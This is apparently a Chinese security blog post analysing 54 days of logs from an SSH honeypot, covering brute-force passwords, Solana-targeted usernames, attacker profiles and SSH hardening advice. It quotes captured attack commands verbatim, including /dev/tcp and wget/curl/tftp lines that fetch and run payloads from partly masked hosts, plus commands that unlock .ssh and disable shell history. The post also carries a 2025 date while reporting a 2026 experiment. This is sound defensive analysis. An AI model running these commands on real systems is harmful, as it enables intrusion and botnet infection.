mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4
3096 字
8 分钟
SSH蜜罐实战:54天开放端口22的观察报告
2025-04-15

写在前面#

2026年2月11日,有人做了一个实验:用Python写了一个SSH蜜罐,伪装成一台Ubuntu 22.04服务器,把端口22暴露在公网上,然后——什么都不做,等。

54天后回来,317MB的日志。

这不是科幻小说的情节,这是Arman Hossain的真实实验。数据冰冷而清晰:269,000次连接,7,556个独立IP,48,102个不同密码。而上线不到60秒,第一个”访客”就到了。

这篇文章不是对原文的翻译,而是基于实验数据的独立思考——这些数字背后,藏着互联网安全生态的哪些真相?对云安全从业者又意味着什么?

一、60秒与269,000次:互联网的背景辐射#

实验上线不到一分钟,两条连接就来了:

2026-02-11T20:41:15Z connection 103.215.xx.xx
2026-02-11T20:41:16Z connection 190.181.xx.xx
2026-02-11T20:41:17Z login root / yhsj_idc@act
2026-02-11T20:41:17Z login root / oracle123

两秒之内,两个IP,两套凭据。没有人专门盯着这台服务器——这是互联网的背景辐射:一个持续的、自动化的、覆盖全球每个IP每个端口的扫描,永不停歇。

日均4,987次连接,每分钟3.5次,全天候无休。凌晨3点在,周末在,节假日也在。机器不需要睡觉。

这意味着什么? 你的SSH端口暴露在公网上的那一刻,不是”会不会被扫描”的问题,而是”已经被扫描了”的事实。这不是概率论,这是确定性事件。

二、密码墙:48,102种尝试与IoT固件后门#

255,566次登录尝试,48,102个不同密码。排名前列的”选手”令人沮丧:

排名密码尝试次数备注
112345627,000+占总量超10%
2admin经典永流传
33245gs5662d345,800+IoT设备硬编码凭据
4345gs5662d345,200+IoT设备硬编码凭据
5password不出所料

123456独占鳌头不意外,但3245gs5662d34345gs5662d34出现在第三、四位就很值得玩味了。这两个不是字典词,而是某些IoT设备或网络设备固件中的硬编码默认凭据。某个僵尸网络的配置文件里直接写死了这些密码,然后对着整个互联网喷洒,期待命中那台特定型号的设备。仅这两组凭据就贡献了超过11,000次尝试。

这揭示了一个令人不安的现实:IoT供应链的安全问题,正在通过僵尸网络扩散为全互联网的问题。 某家厂商在固件里写死了一个密码,几年后这个密码被写进了全球僵尸网络的扫描脚本,对着每一台服务器无差别轰炸。

三、加密货币:新的猎物#

数据中最引人注目的趋势之一,是对Solana验证者节点的定向狩猎:

用户名尝试次数
solana1,155
sol927
validator708
node598

有人专门搭建(或租用)了一个僵尸网络,唯一目的就是寻找防护薄弱的Solana验证者节点。他们尝试solanasolsolvvalidatornode等用户名,配上对应的密码。

为什么是Solana? 因为验证者节点持有质押的SOL代币,控制了节点就等于控制了密钥和资金。加密货币基础设施正在成为自动化攻击的高价值目标——这不是理论推演,而是正在发生的事实。

对云安全从业者的启示:如果你的业务涉及加密货币节点,密钥认证不是可选项,是生存底线。

四、登录之后:99.6%与0.4%#

7,556个攻击IP中,只有28个打开了交互式Shell。0.4%。其余99.6%全部使用SSH的exec模式——发射一条命令就断开:

命令次数用途
uname -s -v -n -r -m94,572系统指纹识别
export PATH=... ; uname=...63,810增强指纹采集
echo -e "\x6F\x6B"32,656存活检测(输出”ok”)
/bin/./uname -s -v -n -r -m14,031绕过路径别名
cd ~; chattr -ia .ssh6,041解锁.ssh目录,准备注入密钥

模式清晰:先指纹,后行动。 uname采集系统信息,如果输出看起来有价值,后续会带着真正的载荷再来。echo "\x6F\x6B"是简单的存活确认——3万多个IP只想确认Shell能响应。

chattr -ia .ssh尤其值得关注。这是在移除.ssh目录的不可变属性——为后续向authorized_keys注入攻击者公钥、建立持久化访问做准备。这是从侦察到预攻击的过渡信号。

五、0.4%的真人:四类访客画像#

28个打开交互式Shell的IP,构成了四幅截然不同的攻击者画像。

5.1 好奇探索者(喀麦隆)#

root$ ls
root$ neofetch
root$ apt install neofetch
root$ lscpu
root$ cd Downloads
root$ ls
root$ cd Documents
root$ ls
root$ free -h
root$ sudo apt install nano
root$ screenfetch
root$ ping 8.8.8.8
root$ sudo reboot
root$ exit

这个人登录后先试neofetch,没装就apt install,然后像逛别人电脑一样翻DownloadsDocuments,装nano,试screenfetch,ping Google,重启,走人。

中间还打了个lscou——lscpu的拼写错误。Bot不会打错字。

这不是攻击者,这是一个刚学会入侵服务器的好奇者,第一次在别人的机器上探索。没有下载恶意软件,没有建立持久化,只是——看了看。

5.2 反取证小队(荷兰、瑞典)#

ubuntu$ ls 2>/dev/null
ubuntu$ export HISTFILE=/dev/null
ubuntu$ export HISTSAVE=/dev/null
ubuntu$ unset HISTFILE
ubuntu$ export HISTFILE=/dev/null
ubuntu$ export HISTSAVE=/dev/null
ubuntu$ unset HISTFILE

三个不同IP,做的第一件事完全一样:禁用bash历史记录。而且做了三遍,冗余地、反复地——他们真的不想留下痕迹。

讽刺的是,蜜罐根本不用bash history。它在传输层记录一切。每一条export HISTFILE=/dev/null都被打上了时间戳,安静地写进了日志。

安全启示: 依赖应用层日志的防御者,可能正在错过传输层和内核层的攻击痕迹。日志采集的层级,决定了你能看到什么。

5.3 职业选手(法国)#

root$ nohup bash -c "exec 6<>/dev/tcp/213.199.xx.xx/60133 \
&& echo -n 'GET /linux' >&6 \
&& cat 0<&6 > /tmp/qNXtkNCRu0 \
&& chmod +x /tmp/qNXtkNCRu0 \
&& /tmp/qNXtkNCRu0 iO0lOO2Dg/IgJfKIj+4s..." &
root$ dd bs=1 count=1911588 > /tmp/YUHlmPSdG7

这是完全不同的物种。拆解一下:

  1. /dev/tcp/:用bash内置的TCP socket直接通信——不调用wgetcurl,进程列表里干干净净
  2. GET /linux:通过原始TCP socket下载二进制文件
  3. chmod +x + 执行:附带base64编码的载荷(大概率是C2配置或加密密钥)
  4. nohup:SSH会话断开后进程继续运行
  5. dd:写入UPX加壳的ELF二进制

三天内重复六次,在四个不同C2服务器之间轮换(213.199.xx.xx47.243.xx.xx47.82.xx.xx47.236.xx.xx),每次使用不同的随机临时文件名和不同的编码载荷。

这不是脚本小子。 这是拥有基础设施的人——多个C2节点、编译好的二进制、逐目标编码的配置。职业僵尸网络运营者。

5.4 IoT难民(纽约)#

admin$ enable
admin$ system
admin$ shell
admin$ sh
admin$ linuxshell
admin$ cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai
admin$ rm -rf shr; wget http://202.155.xx.xx/shr || curl -O http://202.155.xx.xx/shr \
|| tftp 202.155.xx.xx -c get shr || tftp -g -r shr 202.155.xx.xx; \
chmod 777 shr; ./shr ssh; rm -rf shr

这个Bot以为自己在跟一台路由器对话。enablesystemshell——这是Cisco IOS从受限CLI逃逸到完整Shell的命令。当这些命令没有报错(蜜罐返回空输出),它认为自己拿到了Shell,于是部署了Mirai僵尸网络的”senpai”变种。

下载载荷有四种回退方式:wgetcurltftp(客户端模式)、tftp(替代语法)。下载后chmod 777,以ssh参数执行(指示通过SSH传播),然后自我删除。rootsenpai是标记文件——僵尸网络用它标记已攻陷的系统。

连续尝试四次。 持之以恒。

六、流量模式:僵尸网络的作息#

6.1 时间规律#

攻击高峰在UTC 01:00-04:00,低谷在07:00-09:00。这不是因为Bot会累——更可能是因为亚洲的C2服务器在工作时间最活跃,欧洲的C2基础设施在UTC夜间时段叠加负载。

周一和周日最忙。连僵尸网络都有排班表。

6.2 地理分布的真相#

国家/地区事件数IP数真相
美国244,2911,861云VPS,不是美国人
澳大利亚188,922悉尼数据中心
比利时156,5991一个住宅IP
德国112,774法兰克福云机房
荷兰107,535阿姆斯特丹托管商

“澳大利亚”不意味着澳大利亚人在攻击——而是悉尼的廉价云服务器受僵尸网络运营者欢迎。荷兰、新加坡、大部分美国流量同理——云基础设施,不是真人。

比利时的数据最荒诞:几乎全部来自一个住宅IP,一台机器发了超过156,000次登录尝试,比整个德国还多。它就坐在那里,一遍又一遍地执行echo "\x6F\x6B",每一秒,连续数周。不知疲倦。

6.3 IP来源构成#

7,556个攻击IP中:52%来自云/VPS实例(3,940个IP),48%来自住宅/ISP连接(3,619个IP)。但云基础设施贡献了59%的登录量——集中火力。住宅侧更分散——数千台被入侵的家庭路由器和IoT设备,每台贡献不大,但集体构成了巨大的攻击面。

一个美国云VPS提供商独占近一半流量——1,548个IP产生632,592个事件。前五大来源占了总攻击量的69%。

更意外的发现:一个东南亚军方信号部队的网络贡献了12,310次登录尝试,一个南美大学研究服务器贡献了11,116次——几乎可以确定是被入侵的基础设施,在所有者不知情的情况下被用作跳板。

七、我的思考#

7.1 互联网很吵#

你的服务器并不特殊。没有人”针对”你。互联网上的每个IP地址都在被自动化系统持续探测。暴露端口22的那一刻,你就会收到登录尝试。这不是”会不会”的问题——答案是”立刻”。

7.2 大多数攻击者是愚蠢的#

99.6%的访客从未超出单条自动化命令。他们不是黑客——是运行在被入侵机器上的脚本,听从C2服务器的指令,每天对数百万IP执行同一条uname命令。互联网”攻击”的绝大多数,只是噪音。

7.3 少数聪明人非常聪明#

那个法国IP——/dev/tcp/技巧、轮换C2基础设施、UPX加壳二进制——这是职业级攻击工具。底层99%和顶层1%之间的差距,是数量级的

7.4 加密货币是磁铁#

针对Solana节点凭据的攻击量令人意外。在公网SSH端口上运行加密货币基础设施而不启用密钥认证,等于主动走进猎场。

7.5 有些人只是好奇#

喀麦隆的探索者、柏林的慢打字者、孟加拉国翻看/var的人——他们不是恶意行为者。他们只是找到了一扇开着的门,想看看门后面是什么。

7.6 没有人读MOTD#

蜜罐登录时会显示完整的Ubuntu欢迎信息和系统统计。没有一个交互式用户注意到这些信息可疑地静态。他们做的第一件事?ls

八、防御建议#

基于这些观察,对云安全从业者的实操建议:

# SSH加固清单
SSH硬ening:
认证:
- 禁用密码登录: PasswordAuthentication no
- 仅允许密钥认证: PubkeyAuthentication yes
- 禁用root直接登录: PermitRootLogin no
网络层:
- 更改默认端口: Port <非22>
- 限制来源IP: AllowUsers *@<可信网段>
- 或使用跳板机/Bastion Host
监控:
- 部署fail2ban自动封禁暴力IP
- SSH日志接入SIEM实时告警
- 关注chattr -ia .ssh等预攻击信号
蜜罐:
- 考虑部署SSH蜜罐作为早期预警
- 蜜罐流量可反哺威胁情报
- 低成本高回报的主动防御手段

核心原则: 你的SSH服务器不是一座孤岛,而是一间每晚都有人来试锁的房子。问题不是有没有人来试你的锁——而是你的锁够不够好。

用密钥认证。禁用密码登录。把SSH移出22端口。如果好奇的话——留一扇假门,看看谁会走进来。


数据来源:I Left Port 22 Open on the Internet for 54 Days. Here’s Who Showed Up — Arman Hossain, 2026年2月11日至4月5日。所有IP已部分脱敏。地理数据来自ip-api.com。


参考#

支持与分享

如果这篇文章对你有帮助,欢迎支持作者或分享给更多人

SSH蜜罐实战:54天开放端口22的观察报告
https://blog.souloss.com/posts/cloud-security/ssh-honeypot-54-days-port-22/
作者
Souloss
发布于
2025-04-15
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时